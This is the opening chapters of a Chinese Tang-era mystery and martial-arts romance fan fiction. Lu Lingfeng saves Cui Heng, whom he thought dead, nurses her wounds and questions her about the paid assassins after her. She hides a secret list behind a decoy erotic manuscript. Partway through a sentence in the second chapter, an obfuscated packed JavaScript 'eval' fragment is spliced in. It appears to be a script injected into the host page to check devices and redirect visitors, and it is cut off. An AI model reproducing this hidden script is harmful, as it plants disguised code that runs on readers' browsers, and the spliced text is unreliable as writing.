《[唐诡+武侠]我是来揍你的》 1. 老友重逢 是夜,雷雨交加,卢凌风带金吾卫巡至朱雀街尾巷,忽听得有嘈杂声。尽管大雨倾盆,依旧听得出来,嘈杂声里夹杂着女人的惊叫。 从来没有人敢在这个时辰,在朱雀街为非作歹,卢凌风感觉身为金吾卫的威严被严重冒犯,立刻策马追过去。 案发地点离这边不远,大雨倾盆而下,雷声轰鸣,闪电劈亮整个天空,卢凌风立刻看清了角落里的两个人,女人一身单薄紫衣被逼至墙角,面前竟然围着两个男人,不知到底想劫财还是劫色。 那女子面上戴着黑色面纱,见两个男人靠近,手中短刀锵然出鞘,高高举起,然而还没来得及反击,一柄银枪忽然出现,左右一挑,将两个贼人直接打飞。 “拿下!” 卢凌风大喝一声,立刻有金吾卫冲上去,将那两名贼人压在地上,把他们捆了。卢凌风坐在马上,这才看清受害者样子,那女子身材高挑,身穿紫色罗裙,面覆黑纱,她手里的短刀还没收起,整个人因被雨打湿,衣服全都裹在了身上。这女子被救了甚至都没看卢凌风一眼,蹲在地上慌慌张张一阵摸索,像在找什么。 卢凌风却认出了她,他震惊地看着那女子,许久没反应过来,直到头顶再次响起炸雷,卢凌风才回神,他喃喃地说:“崔蘅……你是崔蘅?!你没死?” 被叫做崔蘅的女子抱紧怀里东西,手上身上全是泥,她被大雨淋得几乎睁不开眼睛,仰头看着卢凌风,看了他许久才认出他的样子:“卢凌风?” 卢凌风震惊过后被愤怒的情绪冲上头脑,银枪直直指向地上的女子:“你为什么没有死!回答我!” 她明明死了……两年前,死在他面前。 崔蘅慢慢站起来,大雨将她整个浇透,她抱着怀里的东西,似乎想说些什么,但是下一秒,她忽然痛哼一声,抱着手臂跪倒在地:“唔!” 卢凌风猛地睁大眼睛,他行动快于反应,回过神已经策马上前,朝崔蘅伸出了手:“上马!” 崔蘅并无任何犹豫,膝行上前一步想抓住他的手,但是她好像没力气了,身体脱力,直直坠下,卢凌风猛地探出身体,迅速抓住她的腕子,将她一把拉到马上。 崔蘅的身体冷得像一块冰,抱在怀里感受不到任何力量——这种感觉无法形容,如果是一个正常人,即便晕过去了,抱着也是有种筋骨尽在的感觉,但是崔蘅此时却好像一个断弦木偶,浑身都软绵绵,连借力直起身都做不到,卢凌风将她掰侧过身,免得被大雨直接浇在脸上。 卢凌风听到她越来越重的呼吸声,却觉得高兴。不论如何,她此时还能呼吸,还是活的。 卢凌风一路策马疾驰,被他抱在身前的人反身挂在他脖子上,整个人都在发着抖,她的声音断断续续传进卢凌风耳中:“卢凌风……我……冷……” 卢凌风听到她的话,收起多余的想法,又狠狠夹了一下马腹:“驾!” 卢凌风打马停在一家客栈门前,抱着崔蘅一脚踢开客栈的门:“来人!快来人!” 屋内渐次亮起烛火,客栈主人骂骂咧咧,看到卢凌风一身金吾卫的铠甲,又将骂声咽了回去,唯唯诺诺道:“将、将军,这么晚了,有什么事吗?我们可是正经生意人啊。” 卢凌风已心急如焚,崔蘅浑身衣服都被冷雨打透,缩在他怀里抖得上下牙齿格格作响。卢凌风便也不再有废话,直接道:“住店,快去烧热水,多多地烧!我要洗澡!” 店家终于从惊恐中回过神来,急忙喊来伙计去烧水,自己则带着卢凌风去楼上房间。 进了房间后,卢凌风连铠甲都来不及脱,扯过床上棉被紧紧裹住崔蘅的身体,崔蘅面纱下的脸苍白如纸,额头上全是冷汗,修长细白的手指紧紧抓着被子,满脸痛苦之色。她实在没过多心力管其他,怀里的包裹啪嗒一声掉在地上,卢凌风将它捡起来随手扔到桌上。 崔蘅紧张地看了那布袋一眼,又看卢凌风一眼,抱着自己的身体几乎弓成虾米。卢凌风犹豫一下,将铠甲脱掉,然后从后面抱紧了崔蘅,帮她取暖:“坚持一下,热水很快来了。” 崔蘅有寒症,这是卢凌风从小就知道的,很小时候她中过毒,后来毒虽然解了,却落下寒症的毛病,一旦发作,很快就会让她整个人仿若冻在冰里。而且她这寒症发作起来十分迅猛,不一会儿,崔蘅连眉毛都开始结霜,卢凌风见过不止一次,每次都觉十分吓人。 但是她成年之后好像就好了很多,还以为她痊愈了,怎么还会这样。 卢凌风的安慰丝毫不起作用,崔蘅痛苦地仰起头,枕在卢凌风肩上。靠得近了,卢凌风闻到了一股淡淡的血腥味,他皱眉道:“你受伤了?” 崔蘅似是痛极,眉毛上开始结霜,她急促喘息着,口中断断续续道:“药……药……” 卢凌风听明白了,立刻问:“药在哪里?” 崔蘅冷得话都说不清楚:“身上,口袋……” 卢凌风便要探手去她身上翻找,但是碰到崔蘅的身体,感觉到一片冰凉柔软,又触电似的缩了缩手指。可是崔蘅这种状态,不管她的话,只怕她要这样冻死了。卢凌风一咬牙,低声道:“得罪。” 他在崔蘅身上细细摸了一遍,最终在她贴着小衣的口袋里找到一个玉瓶,葫芦形状,碧绿通透。卢凌风强忍尴尬急忙拔掉药瓶的塞子,从里面倒出一粒樱桃大小的淡黄色药丸。他将手从崔蘅面纱下伸入,把药塞进她嘴里。后者尽管还在发抖,却还是尽力咀嚼吞咽,待那药丸被吞进去,崔蘅眉毛上结霜的趋势终于停下来,随着崔蘅放松似的吐出口气,卢凌风也放松下来。 此时店小二终于打了热水进来,卢凌风听到外间声音,疾步走出去:“将热水倒进浴桶,继续烧热水,准备姜汤,再准备几个炭盆进来取暖。” “客官,这个时节,还要炭盆取暖?” “我说要就要,少啰嗦!” 店小二吓得缩了缩脖子:“是!是!” 卢凌风摸出一串铜钱扔在桌上,皱眉道:“要快。” 小二看见银钱终于有了干劲,拿着钱跑了出去,卢凌风将崔蘅从被子里挖出来,抱着她走到浴桶旁边。他此时注意到,崔蘅肩膀后方晕了一大片淡淡的血迹,伤口正在左边肩膀上。 卢凌风避开她的伤口,小心翼翼将崔蘅放进水里,客栈里提供用来洗澡的热水只是微烫,接触到热水,崔蘅发出一声舒服的喟叹声。后来小二又送了两趟热水,将浴桶倒满,崔蘅完全泡在热水里,才停止发抖。 卢凌风本想让她注意一下伤口,崔蘅却贪这分热度,缩在水底下让身体充分接触热水,伤口完全顾不上了。卢凌风见她闭目沉在水下,才想起自己的衣服也湿透了。他退到屏风后面,把外衣脱下来,擦干净身上的雨水。 热水的热度散得差不多时,屋内温度也升上来,崔蘅终于稍微缓过来一点,她睁开眼睛,看到屏风后面正在脱衣服的影子,将头轻轻靠在浴桶边。 “卢凌风……” 卢凌风听到声音,下意识整理一下衣服,却因为她在浴桶里泡着,不好走出来。 “是不是你,出个声啊。” 卢凌风抿了抿唇角,从鼻子里挤出个音节:“嗯。” 他本来还想开口问询,却听崔蘅轻笑一声,虚弱道:“没想到,中郎将竟是个偷香窃玉的贼。” 卢凌风愣了下,立刻反驳:“休要胡说!” “那刚才是谁,趁人之危,对人家又抱又摸。” “我是在帮你取药,救你的命!” 卢凌风说完,冷哼一声:“崔蘅,你这口无遮拦的毛病是永远改不了吗?编排我也罢,这些话传出去,岂不对你自己的名声都有损害。” 崔蘅轻轻叹口气,有气无力道:“我才不在乎什么名声。” 卢凌风微微侧头,总觉得她说这话颇有深意。见屏风后的崔蘅似乎在用力挣扎,努力想站起来。但是最终并没有成功,她脱力地跌回浴桶里,无奈道:“卢将军,还要烦劳你扶我一下,我实在没力气。” 卢凌风犹豫了一下,还是从屏风后面走了出来:“怎会如此?” 崔蘅朝他伸出手,手指不受控制地抖:“刚刚那药的副作用……所以不到万不得已,我也不会吃它。” 卢凌风握住她的胳膊,将崔蘅从浴桶中半扶半抱地拉出来。崔蘅迈步出浴桶,脚下一软,径直向前跌倒,卢凌风赶忙拦腰抱住她,崔蘅苦笑一声:“不好意思……” 卢凌风皱皱眉头,直接把她横抱起来,她身上的水顿时浇了一地。卢凌风将崔蘅带到床边放下,床边燃着炭盆,热烘烘得还算舒服。卢凌风道:“你把衣服脱下来,趁夜晚烘干,明日便能穿了。还有,我刚刚看到你身上似乎有伤,最好处理一下。” 他说着背过身去不看她。崔蘅慢慢脱掉一只手臂上的纱,这个简单的动作却已经令她费尽力气,额头上再次渗出冷汗。 “卢……卢凌风,你过来,帮我。” 卢凌风迟疑一下:“帮你什么?” “帮我把衣服脱了。” “这……” 卢凌风登时一哽,道:“这不合适。” 崔蘅靠着床沿大口喘着气:“大不了……你闭上眼睛,不看我。我实在没力气。” 卢凌风犹豫半晌,终究还是妥协了,他将腰带解下来遮住双眼,然后伸出手去,摸索着往前探,崔蘅见他始终没碰到她,只好开口指挥:“手向下,移三寸,向前一寸,把我的腰带扯开。” 她一边说,卢凌风一边照做,将她衣服解开后,卢凌风也不必她再指挥,顺着衣襟摸上去,轻轻把她的衣裳一层层退下来。只不过脱到中衣时,卢凌风不小心碰到了她的肩膀,崔蘅不受控制地嘶了一声,卢凌风立刻停下动作,但是很快他闻到了血腥味,卢凌风敏锐道:“碰到你的伤口了?” 崔蘅伏在床围上,小声吸气:“没事……我,还好。” 卢凌风听不下去,一把扯下眼睛上的遮挡:“血腥味这么重,怎会……” 他只看了一眼立刻又闭上眼睛,崔蘅此时衣衫不整,身上只剩下一条肚兜,她背对着他,整个雪白的背部都裸露着,一条红色的细带子从腰后打结,松松系在身上。虽然只看了一眼,也觉得她白得晃人眼睛。 卢凌风尴尬道:“我去找老板问问店里有没有女伙计,帮你上药。” 崔蘅却开口制止他:“别……让他们知道我身上有伤,老板还敢留我们住一晚吗?桌上口袋里有一瓶伤药,你将它拿来,倒在伤口上。” “这……不行。” 崔蘅重重喘了几口气:“卢凌风,别、别矫情了,你刚刚把我全身都摸了,还在乎这些。” 卢凌风重重喷出口气,扭开脸不看她,崔 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卢凌风本来只想在她伤口上倒薄薄一层,但是又没做过这么细致的活,手一抖小半瓶都扑到她伤口上去了。崔蘅痛得叫出声,脑袋“咚”得一声撞在床围上:“啊!你要杀了我!” 卢凌风急忙对着药粉的地方用力吹两下,把药粉吹散了,崔蘅缓了半天才慢慢直起身。卢凌风不敢再轻举妄动,举着那小瓶一点一点往下磕,半天才将药粉均匀撒在伤口上。卢凌风抬手擦擦额头上渗出的汗水,竟觉得给人家上药比跟歹人打一架还费神。不过这伤药确实十分好用,撒上这么一点,已经止住了血。 卢凌风有些尴尬:“得包扎一下。” 崔蘅却道:“不必,再撒一层药粉即可,包起来反而不利于伤口愈合。” 她身上这是旧伤,若不是大雨把药冲没了,又经历一番动作让伤口撕裂,她的伤口也不会重新流血。 卢凌风只好继续往她伤口倒上药粉,直到药粉彻底将伤口覆盖住,他才停下手。崔蘅疼得厉害,整个人都缩起来,不过因为这次疼痛是慢慢加强的,崔蘅还能忍住。卢凌风扶着她趴在床上,将被子拉起来盖在她背上,这才松了口气。 崔蘅趴在床上,看卢凌风坐在小凳子上帮她烤衣服,他将湿透的衣服拧干之后两只手端着放在炭盆上方来回移动,靠着火光的热度将她的衣服一件件烘干。崔蘅见他皱着眉头做这些事,忍不住笑了一声:“要将衣服拽一拽,扯平点,不然会皱。” 卢凌风闻言瞥她一眼,道:“把我当你的随从了?” 他虽然这样说,却还是依言将衣料扯平,崔蘅见他袍脚还在滴水,道:“先别管我的衣服了,你也湿透了。” 卢凌风眼睛都没抬一下:“无碍。” 崔蘅疑惑地看着他:“把湿衣服脱下来啊。” 卢凌风干脆不理她了,他怎么可能在一个女子面前宽衣解带,衣冠不整。崔蘅见他固执,在心里叹口气,也不再劝了。崔蘅穿的衣服有很多层,但是每一层布料都很薄,所以很容易便弄干了。卢凌风把她的衣服挂到架子上,才去收拾自己。 崔蘅见他走路时滴滴答答一路都在滴水,终究心有不忍,她朝卢凌风伸出手,道:“你过来。” “做什么。” “过来,我告诉你做什么。” 卢凌风挑挑眉,这才走过去,崔蘅伸手握住卢凌风一只手,随后卢凌风便感觉到一股热流顺着她的手传了过来,从手开始,一直传到四肢百骸。这股热气自他身上向外发散,竟然很快便将衣服烤干了。卢凌风震惊地看着崔蘅,还透出一股好奇的惊喜:“这是什么?” 崔蘅累极,打了个哈欠把脸埋进被子里,声音带上疲惫:“雕虫小技……你不会以为我跟着师父这么多年,什么都没学会吧。我身负寒毒,师父才教我这套功法,否则我早就死了……若非你固执不肯脱掉衣服烤干,我也懒得动用……好累……” 她说着说着,声音变得模糊,几乎就要睡着了。 “咔嚓——!” 巨大的雷声伴随着闪电劈亮夜空,卢凌风正要起身,却觉得袍脚一紧,是被崔蘅拉住了,他低头对上崔蘅的视线,后者像是才被惊醒,有些紧张地看着他:“你去哪里。” 卢凌风向窗外看了一眼:“外面下着大雨,我能去哪里。你快睡吧。” 崔蘅犹豫一下:“那你……躺我旁边。” “……你又在说什么胡话。” “你连我裸体都看了,难道还在乎……唔!” 卢凌风急忙捂住她的嘴,把她后半截话堵住。他气急败坏:“别再胡说了,早知不救你,让你疼死算了!” 崔蘅轻轻扯着卢凌风的袍脚,仰头看他:“卢将军怕跟我这个名声差的女子有瓜葛,影响自己的清誉?” “我说了我不信!” 卢凌风说到一半不说了,朝她挑挑眉:“你不会是怕打雷吧,说这些话故意激我。” 崔蘅脸色僵了一瞬,随即嘲讽地嗤笑:“呵,可笑,我会怕?” 卢凌风无奈地看她一眼,伸手将床幔解下来,他自己钻进床上,却只肯和衣坐在床边,身体靠着床头,显然打算这样坐上一夜。 卢凌风瞥她一眼,直视着前方的床围说道:“我就在这里守着,睡吧。” 2. 是谁在心动 卢凌风本来打算就这样守一夜,但是到了后面,不知道怎么不知不觉便睡着了。睡着时卢凌风一直在梦到以前那些事情,可就算是在梦中,他也没想明白,崔蘅为何会奇迹般活过来。两年前,她分明死在自己面前。那时候她被淬毒的暗器射伤,很快便毒发身亡,卢凌风也昏迷了,再醒来时,崔蘅的尸体便消失了,卢凌风上门去问,崔家人却说,崔蘅那个方外的师父将她带走了,而且崔蘅行为不端,身为女子,总与方外之人交往,有损崔家名誉,已经将她逐出崔家,以后她的事情不必再来探问。 卢凌风实在替崔蘅叫屈,若没她那个方外的师父,她都不知死了多少回,竟用这种借口将她逐出崔家……但是这毕竟是崔家人的事情,他不好插嘴。 卢凌风离开崔家的时候十分绝望,但是又抱着一丝希望,他希望崔蘅没有死,或者她师父能把她救活。但是两年之间杳无音信,还以为她真死了,既然没死,为何不写信告知…… 这一夜卢凌风睡得并不安稳,醒来时觉得胸口有什么压着。他慢慢睁开眼睛,看清现在的状况,脑子里顿时一片空白。崔蘅整个人趴在他怀里,卢凌风一手搂着崔蘅的腰,一只手抚在她背上,两人正紧紧抱在一起。崔蘅本来身上就没穿什么衣服,只一件肚兜挂在脖子上摇摇欲坠,她两条手臂都缠在卢凌风脖子上,柔软的皮肤贴在颈间仿佛丝绸缠绕。 他睡过去也就算了,怎么能睡成这样?! 卢凌风轻轻将手搭在崔蘅胳膊上,尝试着想将她手臂拉开,结果他稍微一动,崔蘅就哼哼两声,有要醒来的迹象,卢凌风瞬间不敢动了。 “你做什么。” 没想到崔蘅竟然真的醒了,卢凌风僵硬地垂下眼睛看向她,脸上是没收起来的心虚表情,崔蘅跟他的眼睛对上,定定看着他半晌,眼神却不聚焦,她的视线从他的眼睛慢慢移到他唇上。卢凌风浑身僵住,随着崔蘅视线下移,呼吸声越来越急,他闻到崔蘅身上若有若无的香气,觉得口干舌燥,艰难地吞咽唾沫。 不过崔蘅似乎只是短暂地醒了一下,很快便闭上眼睛,她在他胸口磨蹭几下,寻了个舒服的位置,搂着卢凌风的手也收得更紧了。卢凌风听到她呼吸声逐渐变得绵长,轻轻松了口气。 卢凌风原本想她睡着就脱身,却不知什么原因,听着耳边绵长的呼吸声,卢凌风竟然不知不觉又开始觉得迷糊起来。只是在他模模糊糊将要睡着时,忽然感觉有人在轻轻摸他的脸颊,卢凌风便惊醒了,他睁开眼睛,发现崔蘅伏在他胸口,一只手轻抚着他的脸,眼睛则专注地盯着他。卢凌风吞吞唾沫:“你……醒了。” 崔蘅眨眨眼睛,露出一丝委屈:“卢凌风,你是不是信了崔家那些人的话?” 卢凌风皱眉,下意识反驳:“我没有……” “那这么多年我对你的情意,你到底懂不懂?” 卢凌风呼吸忽然顿住,然后他便见崔蘅慢慢靠近过来,她柔软的唇隔着一层薄薄面纱轻轻贴在了他的唇上。卢凌风浑身一震,他下意识想推开她,但是手只落在她肩头,几乎不受控制地,紧紧盯着她,视线无法移开半分。 “崔蘅,别戏弄我。” ——在这方面,她简直是个惯犯。 “我没戏弄你。你若厌恶,可以推开我。从此以后,我不会再出现在你面前。” 卢凌风喉结上下滚动,并没有推开,崔蘅似乎笑了一下,抬手解开面上的黑纱,露出那张倾国倾城的脸。她轻轻凑上来,桃花似的唇瓣贴在了他唇上…… “……!” 卢凌风猛地睁开眼睛,发现刚刚那一幕竟然只是他短暂地做了一个梦,崔蘅还抱着他的脖子睡得香着呢。卢凌风擦擦头上的冷汗,看一眼怀中的崔蘅,无奈地想,那确是做梦,崔蘅怎么可能如同梦中那般温柔妩媚,她只会惹自己生气。而且,她面纱下面的脸,根本不是那样……看来那只是他自己的愿望罢了。 可是……可是就算他没对她做梦里那些事,他们也这样近乎赤裸地抱在一起,一夜过去,崔蘅的清白算是被他毁了。她可以说不在乎,卢凌风又怎么能真当什么都没发生过。 “嗯……” 崔蘅忽然发出一声模糊的哼唧,卢凌风下意识松开扶在她腰上的手,下一秒崔蘅便醒了,发出模糊的哈欠声。 “中郎将今日不当值吗?怎么还在这里。” 她看清卢凌风的脸,自然而然将手臂收回去,然后往自己身上一摸,疑惑道:“带子怎么开了。” 崔蘅一边说一边想要爬起来,结果她那肚兜的带子只剩脖子上那根还好好挂在身上,腰后用来固定的系带不知何时被解开了。这样姿势爬起来,就会完全走光。 卢凌风见她毫无防备,急忙抬手压住被子把她按了下去,他恼羞成怒:“崔蘅!你怎么回事!在一个男人身边怎么能睡得这么踏实?!” 崔蘅打个哈欠,趴在床上将身后带子系好,无辜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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崔蘅笑了笑,从床上站起来,慢慢走到他面前:“卢凌风,我最欣赏你的地方,就在于你是个理直气壮的君子,如果你收留我是出于私心,万不会如此神态。那就只有一个解释,你想审问我。” 卢凌风见崔蘅只穿肚兜走过来,立刻瞥开脸,随着她靠近慢慢后退,一直退到衣架前,卢凌风见她伸手过来,干脆闭上眼睛:“你先穿上衣服!” 崔蘅冷哼一声,伸手把他身后衣架上的衣服拿下来披在身上:“那我就跟你去见识见识吧,金吾狱到底长什么样。” 3. 不要啊,好羞耻啊 正如崔蘅猜测的那样,卢凌风将她带回来,确实是为了调查昨天夜里发生的事情,金吾卫带回的两名欲对崔蘅施暴的歹人,在金吾狱的严刑拷打下之下吐露出很多信息。 这两个人是猎命郎君,拿钱收命,他们的目的简单明了,他们要杀了崔蘅,并将她身上的东西拿回去交给雇主。但是这两人只是“刀”,对于雇主的身份,崔蘅身上的东西是什么,他们一概不知。 这太奇怪了,奇怪的并非这两人,而是崔蘅,卢凌风眼里崔蘅就是个世家小姐,唯一不同的一点是有个方外的师父,有什么值得被追杀的呢,而且他敢肯定,她不是第一次被追杀,她肩头那道是新伤,却不像昨晚才伤的。 卢凌风忽然问道:“她肩上的伤,可是你们砍的?” 两个猎命郎君都摇头:“我们见到她的时候,就发现她带了伤,脸色惨白,虽然那小娘子挺可怜的,可我们毕竟拿了钱,该杀还是得杀。” 从这两人身上问不出东西了,卢凌风只能从崔蘅身上下手,他裹挟着一身血腥气从金吾狱中回来,崔蘅正翘着腿躺在床上吃水果,一抬眼就看到卢凌风黑如锅底的脸,她咕咚一声,把嘴里没嚼烂的果肉全吞了下去。 “中郎将。” 旁边负责看管崔蘅的金吾卫朝卢凌风抱拳行了一礼,待卢凌风朝他挥挥手,那人便退下了。崔蘅乖乖爬起来坐好,小声嘀咕:“干嘛啊,这副表情,你要打我?” 卢凌风皱紧眉头盯着她:“我刚从狱里回来,审那天追杀你的两个人。所以,有些话不必我问了吧,你自己说出来,别逼我对你动手。” “别啊,你可别对我动手,我从小身子就弱,你一拳能打死我。” “那还不说?!” 崔蘅眉毛鼻子皱成一团:“你要我说什么……” 卢凌风严肃地在桌前坐好,展开一本折子,拿起墨条开始磨墨。崔蘅一见他这架势,气不打一出来:“卢凌风,你这是要给我录口供?” 卢凌风将毛笔在墨盒中抿了几下,抬起下巴:“看在你带伤的份上,就不带你去金吾狱录口供了,但是如果你不配合,我就得采取非常手段。” 崔蘅听出他是在吓唬自己了,她眯了眯眼睛:“我听说很多差役最喜欢审女犯,因为女犯最是好审,弄到牢里,都不用上刑,衣服一扒吓得什么都说了,你们金吾卫的非常手段也是这样?” 卢凌风被她问得头皮一麻,只见下一秒崔蘅就开始解自己的裙带:“不用你威胁我!我自己脱好啦!让大家都来看看中郎将是怎么对付女犯的!” “住手!” 卢凌风吓得差点原地跳起来:“崔蘅!你敢……!你能不能配合我工作!” 崔蘅原本也只是吓唬他,目的达到,她便停了手:“你早这么说不就好了,我又没干违法乱纪的事,对我这个受害者那么凶!” 卢凌风眉毛抽了两下:“所以你觉得追杀你的人目的是什么,又是什么身份?” “你不是审过他们了么,怎得还问我?” “回!答!” 崔蘅愤怒地用鼻子喷出一口气:“我真的不知道他们为什么要追我……想抢劫?就是普通小贼吧。” 卢凌风一边低头记录,一边问:“普通小贼?那两人都是练家子,至少不普通。” 崔蘅小声嘀咕着:“我也分不清普通贼和特殊贼啊……” “那你为何这么晚还在街上游荡,夜禁早就开始,怎得不去客栈。” “我昨日赶路耽搁了,进城太晚,一进城就感觉被人盯着,没敢随便找个地方落脚。我本想将他们甩掉再找客栈休息,谁知……反而被那两人围追堵截赶到偏僻的巷子里。” 卢凌风皱皱眉:“这么说,那两个人是你进城之后才盯上你的?” 崔蘅点头:“在城外时候没发现。我在想是不是因为我进城之后在酒楼吃了顿饭,吃得太奢侈露富了,才会被人盯上。” “胡说!你可知他们是什么身份?” “什、什么身份?” 卢凌风一字一顿道:“猎命郎君。他们根本不是普通小贼,就是来杀你的,而且是收了佣金杀你来的。怎么可能等你进城才动手,一定是一路跟着你。” 崔蘅一时间没有说话,眼神从迷茫变得慌乱:“为什么要杀我……我刚来长安,都不认识几个人,更不可能跟人结仇。” 卢凌风想了一下,忽然道:“你包裹里那个竹筒是什么东西?” 崔蘅下意识抓紧裙子:“你……你偷看我的东西!” 卢凌风挑眉:“倒是没有看,不过帮你找伤药时候瞥见一眼,那竹筒用蜡封了口,密封得很好。到底是什么东西,这么宝贝。” 崔蘅吞了一下唾沫:“那是我自己的私事,怎么能告诉你。” 卢凌风挑眉看她,崔蘅只低着头不说话,眼神躲闪。卢凌风此时松开了笔走到她面前:“崔蘅,你最好如实回答,到底是什么!这涉及你的人身安全!” 崔蘅几乎想都没想:“不可能跟这个有关,这……这是我的手稿,不可能会有人为了它要杀我。” “是什么手稿?” 崔蘅咬着嘴唇憋了半天,憋得脸通红,忽然大声道:“反正我不会因为它被杀!你别问了,这是我的隐私!” 卢凌风见她一再推诿,火气也上来了:“崔蘅!马上把你的手稿交出来!我要检查!” 崔蘅被他吓得气焰都跌下去了:“如、如果我坚持不交呢……” 卢凌风朝她走近两步,咬牙道:“那我只好带你去金吾狱中走一趟了,你知道的,我从不徇私。” 崔蘅见他脸黑得厉害,整个人摇摇欲坠:“真……真的不能给你看……你别逼我……” 卢凌风不再说话,只是面色不善地盯着她,崔蘅被他盯得底气不足,神思恍惚,卢凌风趁机一把夺过竹筒,崔蘅下意识尖叫一声:“不要!” 她扑过去抢,卢凌风直接背身抵住她,拔掉了竹筒上的封蜡,从中抽出一卷纸。崔蘅扑上去一边抢一边骂他:“卢凌风!你欺负人!还给我!不许看,你不许看!” 卢凌风直接将那卷纸举高,下意识读出声:“胧月慢晃红鸳帐,娇莺饮露夜……夜啼……” 崔蘅听到这句,好似被抽去魂魄,颓然跌坐地上,抓着他的袍角绝望道:“不要,求求你别看……别读出来……” 卢凌风读着读着,声音越来越小,脸色也慢慢涨红,他总算知道崔蘅为什么拼了命也想抢回去了,这、这根本就是一本艳书嘛!看内容,好似是艳书最高潮的部分,读了几句,卢凌风只觉得描写得香艳淋漓……这、这这……他知道崔蘅诗书双绝,是出名的才女,可是,没想到她竟然拿她的文采去做这种事,这手稿分明就是崔蘅的笔迹! 卢凌风不好意思再看下去,将手稿背到身后,转身去看崔蘅,他清了清喉咙,正色道:“咳,既然是这种东西,怎么不早说。” 崔蘅无地自容,两只手捂着脸跪在地上哭唧唧:“我都说了,不可能是因为手稿,不让你看,你非要看……” 卢凌风咬着牙挤出几个字:“闻香侯,还给自己封侯了,登徒子。” 闻香侯是崔蘅的笔名,听他这样说出来,崔蘅羞愤欲死:“你不要再说了,好羞耻……” “你自己也知道羞耻!那为何还写出来,你的手稿密封成这样是要拿去哪里?” 崔蘅伸手想去拿书稿,卢凌风再次举高:“说啊!” 崔蘅急道:“不要你管!这是我谋生的手段!我写书不犯法吧!” “你很缺钱吗?” 卢凌风挑挑眉,不过他问完就想起来了,崔蘅已经被逐出崔家,她说谋 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卢凌风轻咳一声,正色道:“既然被我知晓,你就别想再写了,也别想卖。” 崔蘅不可置信地看着他:“我写书又不违法,凭什么不让我写?你管得到我吗?!” “你试试啊,我管不到你,但是可以去查抄书铺,以免某些见不得人的东西流入长安,腐蚀我大唐文人的风骨。” 崔蘅气结:“什么叫见不得人?!” 卢凌风眯眯眼睛:“你写的难道是什么见得了人的东西?” “我……!” “而且,既然你兄长在长安为官,你也得为他考虑考虑。被别人知道他的妹妹写这些……哼。” 卢凌风瞥她一眼:“你自己想想吧。”?? 崔蘅失魂落魄地坐在床上,卢凌风拿着那些口供转身离开。崔蘅下意识看过去,结果他走到一半又返回来,一把夺走崔蘅手里的书稿。崔蘅条件反射张开手想要抢,被卢凌风打了一下手背:“这是证物。” “你……!” 卢凌风瞪她一眼,不给崔蘅任何机会,转身就走。 直到卢凌风走远,崔蘅才慢慢站起身,将空了的竹筒拿过来。崔蘅往窗外看了一眼,看不见卢凌风的身影,她忍不住笑了一下,将手指伸进竹筒底部,摸索了一阵,才从竹筒底部拔出一块圆竹片。这个竹筒有两层,上面一层抠开之后还有个夹层,这里放着的才是崔蘅真正携带的东西,那两个夺命郎君正是因为这东西要杀了她。 为了隐藏这件东西,崔蘅甚至真的写了一本艳书,她身上常年带着一张手写的书稿,作为伪装,就是为了应付现在会发生的这种情况。 崔蘅用从竹筒最深层抠出了一个用油纸包裹严实的纸封,她有些紧张地把油纸包撕开,展开后,是一张半张桌面大小的纸,见那纸完好无损,崔蘅才放下心来。她急急忙忙将那张纸收好,刚松口气,门又被重重推开,崔蘅条件反射地叫出了声。 卢凌风站在门口,皱着眉盯住她:“你叫什么,心虚成这样。” 崔蘅艰难吞口唾沫:“我没心虚,被你吓到了。” 卢凌风狐疑地看了她一会儿,最终大踏步走上前,一把将倒在一旁的竹筒一起拿走:“这也是证物。” 崔蘅被吓得脸都白了,还好她动作够快,再迟一步,后果会很严重。 卢凌风终于走了,崔蘅浑身冷汗地瘫坐在床上,她抬手在额头上按了几下:“我可不是故意瞒你,终究道不同……” 崔蘅深深叹了口气,倒不是她不信任卢凌风,她知道卢凌风是太子党,非常忠诚,跟她不一样。 崔蘅不效忠于任何人,不论是太子,公主,还是天子,她不效忠于任何一个封建统治者。要用他们的标准来定义她的话,她应当属于……逆贼吧。 4. 那个惊才绝艳的崔蘅 崔蘅觉得卢凌风还是在怀疑她,但是他不明说,只把她困在这里,还派两个金吾卫看守,美其名曰保护她。 崔蘅有苦难言,她不能继续耗在这里,身上的东西得早些递出去,不知兄长是否已经抵达长安,他可等着这份名单做下一步谋划。可如今她不知道兄长的消息,兄长也不知她的消息,就连名正言顺接她走的理由都没有。 “我整天待在你这里不合适吧,也闷得慌,我想出去逛街。” 卢凌风笑得很温和,崔蘅却知,他露出这种表情,就是在降低她的警惕心。卢凌风这个坏东西,跟她一样,向来知道如何使用自己这副皮囊:“你被人买了命,目前只抓住两个杀手,谁知会不会还有下一批,在弄清楚你到底为何被追杀之前,你绝对不能离开这里。实在想出去逛,等我得空,带你去朱雀街最繁华的地方逛。” 崔蘅想了想,换上一副期待的表情,她走上前轻轻抓住卢凌风的袖子,抬眼看着他:“那你什么时候得空?” 卢凌风听她那故意捏着能柔出水的声音,眉毛一抖,已经要绷不住了:“很快,别着急。” 这两人都心怀鬼胎,也都知道对方在装,只却又都不愿拆穿对方。 卢凌风已经用尽手段去调查崔蘅的事情,从她这里抄去的手稿翻来覆去研究了很久,却看不出任何问题,莫非她真的只是不小心露富被人盯上了吗? 卢凌风正想着,忽然觉得手臂被人挽住,崔蘅整个人贴了上来,卢凌风低头看向她,崔蘅便祈求道:“今晚没空吗?我今天就想出去。” 卢凌风强迫自己将视线移开,身体似条件反射僵住了。他想了一下,还是妥协:“那就今晚,夜禁之前。” 崔蘅注意到他视线的躲闪,搂着卢凌风的手臂忽然松开了,后者看过来时,只注意到她眉宇间一闪而逝的无措。卢凌风不确定自己是不是看错了,因为崔蘅在他面前永远戴着面纱,他也没有完全看清她脸上的表情。 崔蘅这样做自然是有原因的,她的脸……在十二岁那年,毁了。 卢凌风刻意不去想这件事,也不会主动去碰她的面纱,是不想碰触她的伤心事。更因为,崔蘅的脸其实是因为他才受了伤。 卢凌风那时才十二岁,却比与他同岁的崔蘅还矮半个头,火炉倒塌,卢凌风根本躲不开,那火炉就直直朝着卢凌风的头砸下去。崔蘅眼疾手快将他推了出去,情急之下,她踹了火炉一脚,同时扑过去用身体护住了卢凌风。那火炉偏离方向没有倒在他们身上,火炉上烧着的热茶却泼下来,烫伤崔蘅的脸。 